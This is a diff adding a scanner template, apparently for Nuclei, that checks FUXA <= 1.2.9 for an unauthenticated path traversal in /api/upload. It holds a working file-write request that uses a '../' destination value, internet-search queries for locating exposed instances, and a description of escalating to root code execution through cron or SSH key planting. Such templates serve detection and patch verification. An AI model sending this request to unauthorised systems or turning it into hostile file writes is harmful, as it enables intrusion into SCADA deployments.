CVE-2026-25895 - FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write

http/cves/2026/CVE-2026-25895.yaml

@@ -0,0 +1,70 @@
+id: CVE-2026-25895
+
+info:
+  name: FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    FUXA through version 1.2.9 contains a path traversal vulnerability in the POST /api/upload endpoint (server/api/projects/index.js:193). The route is registered without any authentication middleware, bypassing both the secureFnc JWT/API-key check and the admin permission gate applied to every other project-management endpoint. Inside the handler, the JSON body field `destination` is prefixed with an underscore and passed to path.resolve() with no normalization or containment check, allowing an attacker to write arbitrary files to any filesystem location reachable by the FUXA process. Since FUXA commonly runs as root (especially in Docker deployments), this enables immediate remote code execution via cron job injection, settings.js replacement, or SSH key planting.
+  impact: |
+    An unauthenticated remote attacker can write arbitrary files to any location the FUXA process can reach. Combined with root execution context, this enables RCE via cron jobs, Node module overwrite, or SSH key injection. ICS/SCADA environments connected to a compromised FUXA instance may be further exposed.
+  remediation: |
+    Upgrade FUXA to version 1.2.10 or later where /api/upload is protected by the standard authentication middleware chain. As a workaround, block unauthenticated access to /api/upload and /api/settings via a reverse proxy.
+  reference:
+    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c
+    - https://github.com/Hann1bl3L3ct3r/FUXAPWN
+    - https://www.exploit-db.com/exploits/52568
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-25895
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2026-25895
+    cwe-id: CWE-22,CWE-306
+    cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: frangoteam
+    product: fuxa
+    fofa-query: title="FUXA"
+    shodan-query: title:"FUXA"
+  tags: cve,cve2026,fuxa,frangoteam,path-traversal,file-write,unauth,scada,intrusive,vkev,vuln
+
+flow: http(1) && http(2)
+
+variables:
+  filename: "{{rand_text_alpha(8)}}"
+  marker: "{{randstr}}"
+
+http:
+  - raw:
+      - |
+        POST /api/upload HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"resource":{"name":"{{filename}}.txt","fullPath":"{{filename}}.txt","type":"svg","data":"{{marker}}"},"destination":"a/../_images"}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "location")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /_images/{{filename}}.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '{{marker}}'
+
+      - type: status
+        status:
+          - 200